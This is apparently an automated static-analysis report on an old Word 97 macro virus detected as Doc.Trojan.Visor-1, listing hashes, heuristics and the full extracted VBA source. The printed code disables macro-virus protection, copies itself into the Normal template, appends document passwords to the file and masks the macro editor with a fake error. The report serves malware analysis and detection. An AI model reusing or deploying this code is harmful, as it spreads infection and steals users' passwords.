Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66789eedd9c0c642…

MALICIOUS

Office (OLE)

30.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dda2009e76ff5ade98a1d60a2f40b8c5 SHA-1: 70820223e502a423f728f83225b3fef5075ee1b4 SHA-256: 66789eedd9c0c642d9ecfe52dc3c611f58900c5919884183bfb1e80f871c4ef8
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic and VBA macros, including AutoOpen, AutoClose, and AutoNew, which are indicative of older malware techniques. The VBA script attempts to copy itself to the Normal template, suggesting an attempt at persistence or propagation. It also appends password-related information to the document's save file, which is unusual behavior.

Heuristics 6

  • ClamAV: Doc.Trojan.Visor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Visor-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2396 bytes
SHA-256: 65489c640c35fcfd39d6b18c7919db0d8a816862eccea825fe83e23ad416da1e
Detection
ClamAV: Doc.Trojan.Visor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Supervisor1"

Sub AutoNew()
MacroCopy
End Sub
Sub AutoClose()
MacroCopy
PWL
End Sub

Sub AutoOpen()
MacroCopy
End Sub

Function MacroCopy()
Dim DocumentInstalled, GlobalInstalled As Boolean
Dim i, x As Integer

On Error GoTo hups
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
DocumentInstalled = False
GlobalInstalled = False

For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "Supervisor1" Then
       DocumentInstalled = True
    End If
Next

For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(x).Name = "Supervisor1" Then
       GlobalInstalled = True
    End If
Next

If DocumentInstalled = False Then
   Application.OrganizerCopy Source:=NormalTemplate.FullName, _
   Destination:=ActiveDocument.FullName, Name:="Supervisor1", _
   Object:=wdOrganizerObjectProjectItems
End If

If GlobalInstalled = False Then
   Application.OrganizerCopy Source:=ActiveDocument.FullName, _
   Destination:=NormalTemplate.FullName, Name:="Supervisor1", _
   Object:=wdOrganizerObjectProjectItems
End If

hups:
End Function

Function PWL()
Dim dlg

On Error GoTo hups:
Set dlg = Dialogs(wdDialogFileSaveAs)
 Open ActiveDocument.FullName For Append As #1
 Print #1, "GPPW_" & dlg.Password & "GPWPW_" & _
           dlg.WritePassword
 Close #1
 ActiveDocument.Save
hups:
End Function

Sub ToolsMacro()
MsgBox "Die angeforderte Application verursacht einen ungültigen Fehler im Modul 'Off97_bb.dll'" & Chr(13) & _
       "Bitte beheben Sie den Fehler und versuchen Sie es noch einmal.", vbCritical + vbOKOnly, "Microsoft Word"
End Sub

Sub Toolscustomize()
ToolsMacro
End Sub

Sub ViewVBcode()
ToolsMacro
End Sub

Sub PayLoad()
'Autor: Supervisor
'Herkunft: Österreich
'Datum: 1997-10-30

'An ALLE Viren-Freaks:
'Der Virus ist ein Passwort-Dieb der 1.Generation
'freut auch auf die 2.Generation!
'Spruch des Tages: "Wissen ist Macht"

End Sub